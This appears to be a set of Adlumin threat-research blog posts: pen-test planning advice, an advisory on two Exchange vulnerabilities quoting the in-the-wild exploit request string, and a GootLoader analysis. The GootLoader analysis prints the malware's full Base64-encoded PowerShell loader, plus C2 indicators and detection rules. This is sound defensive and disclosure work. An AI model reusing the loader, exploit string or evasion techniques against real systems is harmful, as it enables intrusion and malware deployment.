Learn how Adlumin’s Threat Research Team is dissecting emerging threats and providing invaluable insights that empower organizations to proactively defend against ever-evolving cyberattacks.

Four Critical Areas for Planning a Penetration Test

By: Kevin O’Connor, Adlumin – Director of Threat Research

What is Penetration Testing?

Penetration Testing (Pen Testing) is evaluating the security of a system by attempting to breach the system’s confidentiality, integrity, or accessibility. In other words, it is known as ethical hacking. Standard penetration testing puts a Red Team, one built of skilled mock-attackers, which takes arms against a network and its assets, attempting to achieve an objective such as access to a company’s internal emails. These simulated attacks are completed while hopefully remaining undetected by network administrators and security staff. The security objective of a penetration test is to check the system’s security and uncover potential weaknesses that real attackers might exploit to compromise the business and its assets.

Pen tests can be a valuable tool in a security professionals toolkit and can show how components of a layered security defense work – or fail together

Other penetration testing types include black box security testing, where attackers attempt to access a single system without forewarning information about its design, interfaces, and security. Black Box testing scales through Grey Box, where some information is known or provided, to White Box testing, where all documentation about the system and its security is given to the attackers. The ways a penetration test can be conducted are as varied as the network architectures, services, and systems implemented in a network.

Black Box Security Testing

I have been involved in dozens of penetration tests and similar activities. From my experiences, I have learned that there are a few focus areas where putting in extra care during planning can make the penetration test more successful and applicable to the business.

A successful penetration test will inform stakeholders, such as system owners, administrators, security staff, and management, if there are paths under the current business operating environment that might lead to potential exploitation and compromise. The penetration test results should specify which systems were tested, how they were tested, and what assumptions or dependencies were required when completing the test. An effective penetration test will allow the business to implement technical solutions to mitigate threats and show vulnerabilities in their operations, administrative, and security processes, which can be enforced or updated to lower the risk or damage of compromise.

4 Critical Focus Areas

Penetration Testing focus areas

Goal

The goal of a penetration test should be established before scoping out the test’s boundaries, although there is often circular feedback between the two activities. Setting a plan for the penetration test is critical in ensuring that the test provides valuable and actionable feedback and is working to testify to the security of a tested system. Without a well-scoped goal, any potential breach by the mock attackers could be considered a successful penetration of the business. However, if the business is trying to test the security of its account credential management system – the attackers gaining access to a single external web application does not speak much about the security of the account credential management system.

Businesses should also ensure that the goal is focused and specific. Broad goals such as ‘access to the business’ or proof of lateral movement capability against a network potentially test multiple systems and environments. The management of these systems may span several internal business groups, some of which may fall outside the test’s scope (see below). While there is value in testing managed security across business groups – this needs to be carefully considered when establishing stakeholders and participants for the test.

A good pen test goal would be trying to answer a specific security question such as; is some external web application secure, can we catch during logging, auditing, and accounting the creation of new malicious accounts in the domain, or can an attacker move laterally from an external DMZ to internal account management systems?

Scope

A penetration test’s scope is complimentary to its goal. Defining the scope can be a circular process involving a review of interdependent systems needed to reach the goal potentially. During scoping of the penetration test, it’s essential to try and identify which systems and teams may be involved in the test so that all potential stakeholders are aware, buy-in, and will act on the test’s results.

A well-defined scope is also critical for ensuring that the penetration test isn’t disruptive to business activities. Considerations such as:

  • Is the test performed against live business function support systems or against development and testing systems?
  • Is it within scope for the mock-attackers to interact or interface with a certain business or security-critical systems?
  • Can attackers modify data or configurations on compromised hosts to cover their tracks or better enable completion of the test’s goal?
  • Can the attackers leverage and exploit physical access to network assets to assist in compromise?

These questions are important areas to outline during penetration test scoping and will impact the value of your test results.

To help with scoping out the penetration test SANS has a worksheet that covers the basic areas to help with scoping.

Adversary Simulation

Something not often considered in penetration testing is the need and benefits of Adversary Simulation. Adversary simulation conducts the penetration test using the assumed Tactics, Techniques, and Procedures (TTPs) of a known or fictionalized threat actor group. In mimicking the capabilities of a real group or set of threats, the penetration test can be scaled to a level of attacker sophistication that mimics the assumed threat against the system being tested.

Something I am proud of as a security professional at Adlumin – is that our penetration testing capabilities allow us to select defined and known Threat Actors, such as APTs or specific e-Crime groups, and then mimic their capabilities during our testing. Adlumin can also define custom threat actor profiles, mapping the capabilities and TTPs used in a pen test to the MITRE-ATTCK framework and specific techniques such as sets of exploits, malware, lateral movement strategies, and communication types. This allows us to conduct a tailored exploitation campaign that factually represents real and current threats.

Part of IT Risk Management is the concept that the risk to an information system is directly related to the threats against the system. In the case of pen testing, it helps to symbolize the threat as the set of known threat actors and their associated capabilities. If a business isn’t in an industry known or expected to be targeted by a specific APT group, that group isn’t considered a significant threat against the business network. Such groups would lack the motive in the Motive, Opportunity, and Means (MOM) analysis methodology, and the value of mimicking such a group’s TTPs in the pen test is more limited. We can extract the most value from a pen test by simulating applicable threats and only mixing TTPs utilized between threats when we’ve acknowledged that such an exploitation path isn’t currently known, used, or likely—for example, assessing the threat against compromising a business’s internal email system.

Reviewing Results

Understanding the results of the penetration test and its findings is key to accomplishing the well-scoped goal. Integrating the test’s findings needs to go beyond patching leveraged vulnerabilities or systems and expand to understand why the vulnerability wasn’t known, why exploitation wasn’t observed, and if it was, why wasn’t an alert triggered or taken? What steps in the organization’s IT Security process need to be adjusted, better adhered to, monitored, or controlled with automation and fail-safes?

When reviewing a penetration test, you should consider questions such as:

  • Did the attackers complete their objectives, and how far did they get?
  • What vulnerabilities, exploits, and paths of access were used?
  • Were any related events logged in any security systems?
  • Does the business have observability of the events?
  • Why didn’t logged events generate a security alert?
  • Why wasn’t any alerting escalated to help prevent a further attack?

As you can see, a lot goes into setting up and planning for a successful penetration test. Pen tests can be a valuable tool in a security professionals toolkit and show how layered security defense components work – or fail together. Adlumin offers penetration testing services and can work with your organization to help create well-scoped goals and help you understand where in the gap between exploitation and data exfiltration your security – and, importantly, processes, can be improved to strengthen business security.

References

Ken van Wyk, C. C. M., & Radosevich, W. (2013, July 31). Black Box Security Testing Tools. CISA. Retrieved September 10, 2022, from https://www.cisa.gov/uscert/bsi/articles/tools/black-box-testing/black-box-security-testing-tools

Poston, H. (2021, June 17). What are Black Box, grey box, and white box penetration testing? [updated 2020]. Infosec Resources. Retrieved September 10, 2022, from https://resources.infosecinstitute.com/topic/what-are-black-box-grey-box-and-white-box-penetration-testing/

Wright, J. (2020, November 6). Joshua Wright. SANS Worksheet. Retrieved September 12, 2022, from https://www.sans.org/posters/pen-test-scope-worksheet/

New Unpatched Microsoft Exchange Vulnerabilities - Remote Code Execution Vulnerabilities Allowing Potential Attacker Access

By: Director of Threat Research, Kevin O’Connor

Microsoft has confirmed a new pair of unpatched vulnerabilities affecting its Exchange mail server platform. Tracked as CVE-2022-41040 and CVE-2022-41082, Microsoft validated the exploits’ existence and confirmed they are actively being used in the wild by malicious actors to compromise systems. This vulnerability is believed only to affect on-premises instances of Microsoft Exchange contained in Microsoft Windows Server 2013, 2016, and 2019, and not cloud-based Microsoft O365 mail applications and services such as Exchange Online, which Microsoft attests has detections and mitigations already in place. Microsoft Exchange Online customers do not need to take any action.

What you Need to Know

Microsoft does not currently have a patch available for the vulnerabilities but recommends that on-premise Microsoft Exchange customers should review and apply URL Rewrite Instructions and block exposed Remote PowerShell Ports. A guide by Microsoft for adding the blocking rule can be found here.

Add A Blocking Rule

  • Open the IIS Manager.
  • Expand the Default Web Site.
  • Select Autodiscover.
  • In the Feature View, click URL Rewrite.
  • In the Actions Pane on the right-hand side, click Add Rules.
  • Select Request Blocking and Click OK
  • Add the following string and click OK:
    • .*autodiscover\.json.*\@.*Powershell.*
  • Expand the rule and select the rule and click Edit under Conditions
  • Change the condition input from {URL} to {REQUEST_URI}

Blocking PowerShell Ports

Block the following ports used for Remote PowerShell

HTTP: 5985

HTTPS: 5986

The pair of CVEs are Server-Side Request Forgery (SSRF) (CVE-2022-41040) and Remote Code Execution (RCE) (CVE-2022-41082) vulnerabilities. The SSRF vulnerability can only be used by authenticated attackers suggesting that credentialed or other authorized access is needed to exploit the system. The SSRF vulnerability can then be used to enable the usage of the RCE vulnerability.

The vulnerabilities were uncovered by GTSC, a Vietnamese security company, during monitoring and incident response services in live networks. GTSC detected exploit requests in ISS logs with the same format as the previous 2021 ProxyShell RCE vulnerability:

autodiscover/autodiscover.json?@/&Email=autodiscover/autodiscover.json%3f@

It’s been observed in the wild that the CVEs have been used to drop webshells on exploited Exchange servers, including Antsword, a Chinese opensource cross-platform website administration tool supporting webshell management. The webshell’s codepage is also set to a Microsoft character encoding for simplified Chinese, again suggesting China-based actor involvement. During these exploitation campaigns, attackers leveraging the vulnerabilities also modified the file RedirSuiteServiceProxy.aspx to contain a webshell. GTSC also reported the use of SharPyShell, a small and obfuscated ASP.net webshell for C# web applications.

As part of their Tactics, Techniques, and Procedures (TTPs), attackers exploiting the vulnerabilities have also been observed leveraging the native Windows binary, certutil.exe, to connect to command-and-control infrastructure and retrieve malicious payloads. Some of the commands share similarities with those used by the Chinese Chopper web shell malware. The attackers also leverage in-memory DLL injection and native Windows WMIC systems to execute files.

To identify potential exploitation leveraging these vulnerabilities, administrators can check Microsoft IIS Logs for the following string indicating potential compromise:

    powershell.*autodiscover\.json.*\@.*200

Microsoft is currently working to develop a patch for the vulnerabilities; however, Microsoft Exchange administrators should take immediate action to defend systems and search for prior signs of compromise.

Keeping a network secure from zero-day exploitation requires a layered defense-in-depth approach. Externally available services such as email servers continue to be a prime target for exploitation by threat actors. Systems such as Adlumin’s Perimeter Defense capabilities can monitor these external systems for the appearance of exploitation artifacts such as newly opened ports on internet-accessible servers used for remote exploitation interfaces such as PowerShell.

Continuous Monitoring

Adlumin recommends using a Continuous Vulnerability Management (CVM) product to collect the needed data from endpoints to determine if they are running vulnerable versions of Microsoft Windows and Office. CVM software can also be used to identify those assets which have or do not have the official Microsoft mitigation in place. Adlumin also recommends leveraging the business’s SIEM product to continually search and alert for suspicious executions which may be a result of the exploitation of the vulnerability.

Resources

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41082
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-41040
  3. https://gteltsc. vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server (Deprecated)
  4. https://www.techtarget.com/whatis/feature/Everything-you-need-to-know-about-ProxyShell-vulnerabilities
  5. https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/
  6. https://github.com/antonioCoco/SharPyShell

Everything you Need to Know about Tracking GootLoader

By: Kyle Auer & Kevin O’Connor
Adlumin’s Threat Visibility Team has observed an increase in GootLoader-based malware and identified a possible unified campaign leveraging GootLoader with follow-on Cobalt Strike payloads in attempts to breach U.S. businesses including multiple Adlumin customers.

What is GootLoader?

GootLoader is a presumed access-as-a-service malware 1, with its developers also being responsible for the GootKit malware as first reported by Dr. Web in 2014 2. GootKit, the actor’s namesake and original toolkit, is distinct from GootLoader in that GootLoader is closer to an initial access capability which leverages follow on stages such as Cobalt Strike, various Ransomware payloads, and potentially GootKit – the latter of which has fallen out of favor since gaining notoriety in 2019 due to infrastructure compromise 3.
As an access-as-a-service malware, the GootLoader operators would be expected to sell direct access to compromised hosts and systems or provide buyers with harvested credentials and access points into a targeted network. A less frequent operation under this model might involve the GootLoader actors loading second-stage payloads as access brokers.

Tracking the Campaign

Adlumin is observing and tracking an active exploitation campaign utilizing GootLoader against U.S. businesses in multiple industries and verticals. What we’ve observed in this campaign is uniform deployment of Cobalt Strike payloads following exploitation and initial access provided by GootLoader. It’s unknown if these Cobalt Strike payloads are used by GootLoader developers to provide direct access to an infected target or used to harvest credentials and other data which is brokered to a buyer for access or exploited in some other way.
Our investigation is tracking an exploitation campaign which we defined based on:

  1. Like to identical initial access and exploit methodologies
  2. Like to identical command and control infrastructure and methodology
  3. Like to identical operations time-frame
  4. Like to identical first-stage “loader” malware, GootLoader
  5. Like to identical second-stage follow-on malware, Cobalt Strike

Campaign Tactics, Techniques, and Procedures (TTPs)

This GootLoader campaign begins its attack by phishing potential victims’ business emails. Unlike other campaigns reported earlier in 2021 and 20224, this campaign has not yet been observed relying on specific SEO poisoning attacks to deliver its payload. We believe the payloads are also not being disguised as legitimate JQuery libraries as previously seen.
It starts with an email…

Figure 1: The Attack Begins with a Malicious JavaScript file contained in a Zip Archive

The first stage in the campaign against a target is a simple phishing email. These emails have an attached Zip archive, which contains a JavaScript payload the victim is tricked in to running after opening. This JavaScript payload is executed by a Windows Operating System native binary, Windows Script Host (wscript.exe), which is a legitimate application typically used for logon scripts, administration, and automation and provides an execution environment in which the script can run. Our team believes that the JavaScript payload is delivered via a compressed archive to help mitigate detection by email and malware scanners.

GootLoader_Image_2

Figure 2: JavaScript is executed by wscript.exe

GootLoader will then use this wscript.exe executing JavaScript to download an additional  JavaScript resource which is loaded by the original calling wscript.exe process. This secondary exploitation payload is responsible for persisting two separate payloads.

GootLoader_Image_3

Figure 3: wscript.exe retrieves payloads from Command and Control Server

Persistence

GootLoader will use its secondary JavaScript payload to write two registry keys to the Window’s Current User registry hive (HKCU). In this tracked campaign the two registry keys were stored in:

  • HKCU:\\Software\Microsoft\Phone\user0
  • HKCU:\\Software\Microsoft\Phone\user

GootLoader_Image_4

Figure 4: wscript.exe runs PowerShell to persist malware as a task, and writes encoded payloads to registry

Kick-Off

After having saved the next two stages to the registry, the wscript.exe process will execute PowerShell to run PowerShell commands which will kick-off the first-stage malware implant. To help evade detection by security software, the executed PowerShell commands make use of multiple evasion techniques including

  • Base64 Encoding the Command
  • Command abbreviation
  • Variable substitution
  • String concatenation
    • MwA1ADEANAA5ADcAOAA5ADsAcwBsAGUAZQBwACAALQBzACAANwA4ADsAJABqAHQAPQBHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAKAAiAGgAawAiACsAIgBjAHUAOgBcAHMAbwBmACIAKwAiAHQAdwAiACsAIgBhAHIAZQBcAG0AaQBjACIAKwAiAHIAbwBzACIAKwAiAG8AZgB0AFwAUABoAG8AbgBlAFwAIgArAFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6ACgAIgB1AHMAZQAiACsAIgByAG4AIgArACIAYQBtAGUAIgApACsAIgAwACIAKQA7AGYAbwByACAAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAZQAgADcAMAAwADsAJABzAHUAcwArACsAKQB7AFQAcgB5AHsAJABzAGEAKwA9ACQAagB0AC4AJABzAHUAcwB9AEMAYQB0AGMAaAB7AH0AfQA7ACQAcwB1AHMAPQAwADsAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAkAHMAdQBzACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAcwB1AHMAKQA7AGkAZgAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewBiAHIAZQBhAGsAfQB9ACQAaABpAHQAPQAkAHMAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAOwAkAGUAagB2AD0AWwBiAHkAdABlAFsAXQBdADoAOgAoACIAbgBlACIAKwAiAHcAIgApACgAJABoAGkAdAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHMAdQBzAD0AMAA7ACQAcwB1AHMAIAAtAGwAdAAgACQAaABpAHQALgBMAGUAbgBnAHQAaAA7ACQAcwB1AHMAKwA9ADIAKQB7ACQAZQBqAHYAWwAkAHMAdQBzAC8AMgBdAD0AWwBjAG8AbgB2AGUAcgB0AF0AOgA6ACgAIgBUAG8AQgAiACsAIgB5AHQAZQAiACkAKAAkAGgAaQB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdQBzACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABlAGoAdgApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA3ADQANAA0ADkAMQA3ADIAOwA=

Decoding from Base64 and encoding with UTF-16LE we can see the commands contents:

GootLoader_Image_5

Figure 5: Decoded PowerShell Command Loading Stage 1 Implant

This command will grab the contents of the first registry key, HKCU:/SOFTWARE/Microsoft/phone/$USERNAME0, decode the encoded .NET DLL it contains, and then run the Test() function contained in the DLL us as an execution start point.

Obtaining Decoded Stage-1

To get the malware to drop the DLL unencoded for further analysis rather than directly loading and calling it via PowerShell, we modified the executed PowerShell command to write the contents to a file by appending the following before the last SLEEPfunction.

                  +> Set-Content $PATH -Value $ejv -Encoding Byte

This allowed us to analyze this first-stage implant to identify that the Test() function was being used to load the second-stage implant.

GootLoader_Image_6

Figure 6: PowerShell.exe decodes the GootLoader implant which decodes and runs the secondary payload, Cobalt Strike

Second Stage Payload

The second payload and malware implant used by GootLoader in this campaign is Cobalt Strike. The second registry key written in the earlier stage to HKCU:\..Phone\$USERNAME contains an encoded Cobalt Strike beacon. When the first-stage’s Test() function is executed, it decodes, loads, and executes the Cobalt Strike beacon into memory.

To analyze the Cobalt Strike beacon we modified the retrieved first payload which loads the beacon, to instead write the beacon unencoded to disk for retrieval and analysis. We did this by adding additional library imports used for writing a file and adding a main function which will call the Test() loader.

GootLoader_Image_7

Figure 7: Adding additional imports to 1st Stage Malware Implant

GootLoader_Image_8

Figure 8: Adding function to call the 2nd Stage DLL’s Test() function

We then created a BinaryWriter object and comment out some of the lines which would execute the Cobalt Strike beacon.

Figure 9: Modifying 1st stage to prevent 2nd stage execution and retrieve decoded 2nd stage

After building and running the code, we obtained the decoded second-stage Cobalt Strike payload.

Extracting Campaign IOCs from Cobalt Strike

Cobalt Strike is a paid penetration testing software which includes configurable malware implants that are often repurposed for use in real malware operations and infections. The Cobalt Strike beacon provides functionality for the attacker including command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained[5].Cobalt Strike has exploded in popularity in usage by cyber-criminals[6], and is a perfect launching platform for continued attacks or access transfer.

Once we had the decoded Cobalt Strike beacon written to disk, we were able to use public decoders to extract Cobalt Strike configuration information such as command and control addresses. We used the Python-based Cobalt Strike Configuration Extractor and Parser which can be found on GitHub, here.

Figure 10: Decoded Cobalt Strike Beacon Payload

This allowed us to obtain the malware command and control infrastructure used by the attackers to control the Cobalt Strike implant.

Figure 11: Cobalt Strike is run and beacons to Cobalt Strike command and control server

Summary & Future Reads

Once Adlumin’s Threat Visibility Team had the initial payload, follow-on implant stages, and leads on command-and-control infrastructure, we quickly created detections for our MDR platform, which merges data from multiple security relevant data sources including the endpoint and installed security software. These detections caught subsequent attacks from the same campaign and identified some historical retroactive activity. Some key defenses and mitigations for the campaign include:

  • Adequate phishing mitigation and attachment scanning solutions
  • Monitoring of wscript.exe executions of JavaScript files from compressed archives
  • Monitoring of PowerShell executions, especially of encoded commands, which have a parent process of wscript.exe
  • Implementing a Proactive Defense program that is equipped with fully managed security awareness testing and training, designed to empower employees to recognize and reduce the risk posed by cybercriminals.

Additionally, Adlumin is sharing the following indicators used in this campaign with the community:

  • 93[.]115[.]29[.]50
  • hxxps://streamlock[.]net

We’d also like to share the below Sigma rule to help identify possible exploitation activity:

title: GootLoader Zipped JS WScript
id: 37d82863-216a-41a3-a4de-b09cea08eb92
action: global
status: experimental
references:
– https://adlumin.com
date: 2022/09/26
tags:
– attack.execution
– attack.t1059
author: Adlumin, Kyle Auer, Kevin O’Connor
detection:
condition: selection
level: medium
logsource:
category: process_execution
product: windows
detection:
selection_1:
Image|endswith:
– ‘\powershell.exe’
ParentImage|endswith
– ‘\wscript.exe’
selection_2:
Image|endswith:
– ‘\wscript.exe’
selection_3:
CommandLine|all:
– ‘*AppData*’
– ‘*zip*’
– ‘*.js*’
condition: (selection_1 or selection_2) and selection_3

Make sure to follow Adlumin for follow-up posts where we’ll dive deeper into the actor’s infrastructure and operations!

Resources:

  1. https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
  2. https://securelist.com/gootkit-the-cautious-trojan/102731/
  3. https://www.zdnet.com/article/gootkit-malware-crew-left-their-database-exposed-online-without-a-password/
  4. https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader
  5. https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike
  6. https://threatpost.com/cobalt-strike-cybercrooks/167368/

Your Guide to Detecting Access Failure Incidents

By: Data Scientists Bronwen Cohn-Cort and Shaul Saitowitz

Usernames and passwords are keys to computer systems and networks, but they are often inadequate for keeping intruders out. Even additional layers of authentication can be compromised. Adlumin keeps its customers safe by monitoring networks for suspicious break-in attempts and authentication malfunctions.

Brute Force, but Not with a Crowbar

Hackers use scripts or applications such as THC Hydra to submit many guesses for user credentials – a brute force attack. Guessing tactics range from a simple systematic approach to using external logic to prioritize the most likely combinations.

Any asset that uses credentials is vulnerable to brute force attacks, from user accounts to VPNs or network switches. Each of these represents different risks. Cracking a network switch could allow the attacker to access any traffic flowing through that switch and even make changes to the switch itself. Breaking into a VPN would give access to the network and anything else authorized for the connection.

Access Failure Chart Adlumin

Figure 1: Counts of Failed Office365 Logins

Adlumin monitors all incoming logs for our tenants, looking for evidence of brute force attacks at all possible entry points. Suspicious numbers of failed logins over a short interval indicate that an attacker attempts to break in by trying many password permutations. This triggers an alert, notifying the customer of the break-in attempt so that protective action can be taken.

The Deadbolt

Often used in conjunction with password logins, Multi-factor Authentication (MFA) service providers allow users of a subscribing client to authenticate via other methods, thereby adding another layer of security. One standard additional layer is a Possession Factor, where a user enters a 6-digit code sent as a text message, email, or given by an authenticator app to an account or device to which only the user has access. In the MFA context, a password can be classified as a Knowledge Factor; thus, these two factors (Knowledge and Possession) authenticate the user. This is also called 2-Factor Authentication (2FA). Enabling MFA or 2FA across all users is a simple step to improving security and delaying attackers or keeping them out of a system.

Adlumin authentication Diagram

Figure 2: Disruptive situations around MFA credentials

Adlumin Data Science is developing a detection for disruptions in a client’s MFA service – incidents that can challenge business continuity or represent even more insidious threats. The approach involves reviewing the number of users unable to access their account via MFA within a specific period. As described earlier in this article, this activity could be an attacker attempting brute force methods to access the system by logging in to multiple user accounts and looking to gain access via a user that hasn’t enabled MFA. This activity could also be that the MFA service provider is compromised or has otherwise experienced an incident that impacts credential authentication, leading to many users being locked out of their accounts. In both instances of MFA credentials being denied or resulting in the locking-out of users, the client’s business is disrupted.

Adlumin Data Science’s development of detection based on identifying an unusual number of users experiencing lockouts or having credentials denied over a specific period would warn clients that use MFA service providers of a possible impending disruption or attack.

Warning of Possible Disruptions

Whether caused by a brute force attack or a compromised MFA service provider, Adlumin Data Science monitors for a suspicious or unusual amount of credential activity for network switches, user accounts, or other credentialed locations. Adlumin’s identification of such a disruption or break-in attempt warns customers to take protective action.